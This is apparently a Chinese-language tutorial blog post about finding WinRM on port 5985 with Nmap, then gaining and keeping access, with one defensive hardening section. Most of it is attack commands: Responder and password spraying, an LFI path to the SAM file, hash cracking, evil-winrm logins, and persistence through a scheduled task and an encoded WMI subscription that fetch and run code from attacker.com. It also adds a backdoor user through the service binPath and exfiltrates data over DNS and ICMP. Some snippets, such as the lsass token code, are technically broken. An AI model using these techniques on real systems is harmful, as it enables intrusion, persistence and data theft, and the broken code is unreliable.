当前位置: 首页 > news >正文

别再只扫22和80了!用Nmap深度扫描发现5985端口的WinRM服务并拿下权限

突破常规扫描:WinRM服务深度利用与权限提升实战

在渗透测试和系统安全评估中,大多数技术人员都会习惯性地优先扫描22(SSH)、80/443(HTTP/HTTPS)、3389(RDP)等"明星端口",却往往忽略了像5985(WinRM)这样同样具有战略价值的入口点。这种选择性盲区不仅存在于新手群体,甚至一些经验丰富的安全工程师也会因为思维定式而错过关键突破口。

WinRM(Windows Remote Management)作为微软原生远程管理协议,默认监听5985端口,提供了类似SSH的远程命令行交互能力。与RDP的图形界面不同,WinRM专注于高效的命令行操作,特别适合批量管理、自动化运维等场景。正因如此,一旦攻击者获取有效凭据,就能通过WinRM快速建立持久化控制通道。本文将彻底解析WinRM服务从发现到利用的全链条技术细节,带你突破传统扫描思维的局限。

1. 突破传统:高级端口扫描策略

1.1 为什么常规扫描会遗漏WinRM

大多数Nmap初学者会使用以下典型扫描命令:

nmap -sV 192.168.1.100

这个命令虽然能快速识别常见服务,但存在三个致命缺陷:

  1. 默认端口范围限制:仅扫描约1000个最常用端口
  2. 版本探测深度不足:未启用脚本扫描可能误判服务类型
  3. 速率控制缺失:内网环境中扫描速度未优化

在真实案例中,我们曾遇到一台仅开放5985端口的服务器,常规扫描完全无法发现其存在。直到使用全端口扫描才暴露这个管理入口。

1.2 专业级扫描参数配置

针对WinRM服务的发现,推荐使用以下扫描策略组合:

参数作用推荐值注意事项
-p-全端口扫描0-65535配合--min-rate使用
--min-rate最小发包速率5000需根据网络质量调整
-sV服务版本探测-增加扫描时间但提高准确性
-sC默认脚本扫描-可能产生较多流量

实战扫描命令示例:

nmap -v -p- --min-rate 5000 -sV -sC 10.129.136.91 -oA winrm_scan

这个组合能在较短时间内完成全端口扫描,同时准确识别服务类型。某次内网渗透测试中,使用该策略发现了17台未被记录的WinRM服务主机。

1.3 结果分析与服务确认

当扫描结果显示5985端口开放时,需要重点观察以下特征:

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

虽然服务显示为HTTP,但结合端口号应怀疑是WinRM服务。进一步验证可使用:

nmap -p 5985 --script=http-title 10.129.136.91

典型WinRM服务会返回"Windows Remote Management"相关标题。

2. WinRM服务深度解析

2.1 协议架构与认证机制

WinRM基于WS-Management协议实现,其认证体系支持多种方式:

  • Basic认证:Base64编码的明文传输(高危)
  • NTLM认证:Windows传统认证方式
  • Kerberos认证:域环境中的黄金标准
  • Certificate认证:最高安全级别的验证

认证流程示例:

  1. 客户端发起WS-Management请求
  2. 服务端返回支持的认证类型
  3. 客户端选择认证方式并提交凭据
  4. 服务端验证后建立会话

重要提示:在非SSL环境下使用Basic认证等同于传输明文密码,务必强制使用HTTPS(5986端口)或VPN等加密通道。

2.2 常见配置错误与风险

企业环境中常见的WinRM安全隐患包括:

  1. 匿名访问启用:完全无需认证即可连接
  2. 弱密码策略:允许简单密码或默认凭据
  3. 权限过度分配:普通用户拥有管理员权限
  4. 日志记录缺失:无法追踪异常访问行为
  5. 网络暴露过度:公网直接暴露5985端口

某次安全评估中发现某企业财务系统存在以下危险配置:

winrm get winrm/config/service # 结果显示AllowUnencrypted=true且BasicAuth=true

2.3 服务识别与指纹提取

除了Nmap扫描,还可通过以下方式确认WinRM服务:

HTTP请求检测

curl -v http://10.129.136.91:5985/wsman

典型响应包含:

HTTP/1.1 405 Method Not Allowed Server: Microsoft-HTTPAPI/2.0 X-WSMAN: 服务标识信息

PowerShell探测

Test-WSMan -ComputerName 10.129.136.91

成功连接会返回服务配置详情。

3. 凭据获取与横向移动

3.1 常见凭据获取途径

获得有效凭据是利用WinRM的关键,主要方法包括:

  1. LFI漏洞利用:通过Web应用漏洞读取系统文件
    GET /index.php?page=../../../../Windows/System32/config/SAM HTTP/1.1
  2. Responder中间人攻击:捕获NTLM认证哈希
    python3 Responder.py -I eth0 -wrf
  3. 密码喷洒攻击:针对多个用户尝试常见密码
    crackmapexec winrm 10.129.136.91 -u users.txt -p passwords.txt

3.2 哈希破解与验证

获取NetNTLMv2哈希后的破解流程:

  1. 保存哈希到文件:
    administrator::WINRM:1122334455667788:9A9B9C9D9E9F0000:0102030405060708
  2. 使用John the Ripper破解:
    john --format=netntlmv2 hash.txt --wordlist=rockyou.txt
  3. 验证凭据有效性:
    crackmapexec winrm 10.129.136.91 -u administrator -p 'badminton'

3.3 多工具连接方法

evil-winrm使用

evil-winrm -i 10.129.136.91 -u administrator -p 'badminton' -s /scripts/ -e /executables/

参数说明:

  • -s上传脚本目录
  • -e上传可执行文件目录
  • -H使用NTLM哈希连接

PowerShell原生连接

$cred = Get-Credential Enter-PSSession -ComputerName 10.129.136.91 -Credential $cred

WinRS命令行工具

winrs -r:http://10.129.136.91:5985/wsman -u:administrator -p:badminton cmd

4. 防御加固与安全监控

4.1 服务加固方案

基础安全配置

# 禁用非加密通信 winrm set winrm/config/service '@{AllowUnencrypted="false"}' # 限制可访问IP范围 winrm set winrm/config/service '@{IPv4Filter="192.168.1.0/24"}' # 启用证书认证 winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server01";CertificateThumbprint="XXXXXX"}

组策略配置路径

计算机配置 → 策略 → 管理模板 → Windows组件 → Windows远程管理(WinRM)

4.2 入侵检测规则

Suricata检测规则示例

alert tcp any any -> any 5985 (msg:"WinRM Unauthenticated Access Attempt"; content:"Authorization: Basic"; depth:20; nocase; sid:1000001;)

SIEM关联规则逻辑

当同一IP在5分钟内出现: - 10次以上WinRM认证失败 - 随后1次认证成功 标记为"潜在暴力破解成功"

4.3 应急响应流程

发现异常WinRM连接时的响应步骤:

  1. 立即隔离:防火墙阻断源IP
  2. 会话终止:重置WinRM服务
    Restart-Service WinRM
  3. 日志取证:收集安全事件日志
    Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625}
  4. 凭据轮换:重置所有相关账户密码
  5. 后门检查:审查计划任务和启动项

在一次事件响应中,通过分析WinRM日志发现攻击者上传了PowerShell脚本到C:\Windows\Temp,该脚本每5分钟向外发送系统信息。

5. 高级利用与权限维持

5.1 持久化技术

计划任务创建

schtasks /create /tn "Maintenance" /tr "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" /sc hourly /ru SYSTEM

WMI事件订阅

$filterArgs = @{ EventNamespace = 'root\cimv2' Name = 'WinRMFilter' Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" QueryLanguage = 'WQL' } $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs = @{ Name = 'WinRMConsumer' CommandLineTemplate = "powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALgBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBpAGUAeAAoACQAcwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBhAHQAdABhAGMAawBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkAKQA=" } $consumer = Set-WmiInstance -Namespace root/subscription -Class __CommandLineEventConsumer -Arguments $consumerArgs Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer}

5.2 权限提升技巧

服务配置滥用

sc.exe config WinRM binPath= "net user hacker P@ssw0rd /add" sc.exe stop WinRM sc.exe start WinRM

令牌模拟攻击

$process = Get-Process -Name lsass $handle = [System.Diagnostics.Process]::GetProcessById($process.Id).Handle $token = New-Object System.Security.Principal.WindowsIdentity($handle) $impersonatedUser = $token.Impersonate()

5.3 隐蔽通信技术

DNS隧道建立

# 客户端 $data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Process))) Resolve-DnsName -Name "$data.attacker.com" -Type A -Server 8.8.8.8 # 服务端 Add-DnsServerResourceRecordA -Name "*" -ZoneName "attacker.com" -IPv4Address "127.0.0.1"

ICMP隐蔽通道

# 需要管理员权限 New-NetFirewallRule -DisplayName "ICMP Allow" -Protocol ICMPv4 -IcmpType 8 -Enabled True -Action Allow # 数据发送 ping -n 1 -l 32 -w 1 $(echo "data" | xxd -p).attacker.com

在一次红队演练中,攻击者通过WinRM上传了经过混淆的PowerShell脚本,该脚本利用ICMP协议外传数据,成功绕过了网络监控。

http://www.jsqmd.com/news/672712/

相关文章:

  • 用DS-SLAM在TUM数据集上跑通建图:一份完整的launch文件配置与Rviz可视化指南
  • GameFramework资源加载深度解析:从任务池调度到对象池缓存的完整链路
  • 国产化即时通讯软件:BeeWorks 重塑 2026 国产 IM 格局
  • 别急着甩锅给网络!手把手教你用tcpdump和iptables排查curl的(56) Recv failure: Connection timed out
  • DOS汇编子程序实战:从调试技巧到算法实现
  • 从‘快递无人机’到‘战场蜂群’:聊聊多机协同那些绕不开的坑(动态避障/通信延迟/任务重规划)
  • 【Dify农业知识库调试实战指南】:20年农信系统专家亲授3大高频故障根因与5分钟修复口诀
  • Nginx upstream反向代理400错误排查:从Host头到协议版本的深度解析
  • 2026 年 UI/UX 设计师最常用的 AI 工具完整清单:从原型到代码交付
  • 群晖DSM 7.2.2视频站终极安装指南:解锁HEVC与高级媒体功能
  • 别再死记硬背了!用Python模拟m序列生成,5分钟搞懂通信里的加扰与解扰
  • 百度网盘SVIP破解终极指南:macOS免费解锁高速下载完整教程
  • AI智能改写技术加持,aibiye等9款查重工具免费不限次数,助力论文质量飞跃
  • 生物信息学新手村任务:从NCBI SRA数据库到FASTQ文件的完整通关指南
  • ToClaw技能全攻略:免安装的AI助手,零门槛打造你的专属工作流
  • python azure-pipelines
  • Fluent亚松弛因子调参实战:从默认值到最优解的5个关键步骤
  • CompressO:跨平台开源媒体压缩解决方案的技术架构与实践应用
  • 如何在Foobar2000中实现专业级歌词同步:3个简单步骤掌握ESLyric歌词源
  • 别再被getcwd坑了!Windows/Linux下C++获取程序真实运行路径的3种方法实测
  • 从all shards failed到精准定位:一次Elasticsearch mapping字段配置的排错实战
  • Python实战:构建商品条形码智能查询与数据分析工具
  • ResNet18镜像应用案例:智能内容审核、场景识别,快速落地实战
  • 从算盘到CPU:补码设计的巧妙思路,如何影响了Python和Java中的整数溢出?
  • 快速搭建个人数字图书馆:Talebook私有书库完整指南
  • 别再傻傻分不清了!SDN南向接口和南向协议到底有啥区别?
  • 文档写作理论 - Diátaxis
  • 不只是安装:用Docker在Ubuntu 20.04上快速部署可复现的UHD 3.15 + GNU Radio 3.8开发环境
  • 2026执医技能备考:模拟培训机构推荐指南 - 医考机构品牌测评专家
  • 承包荒山种好树 林权受损无说法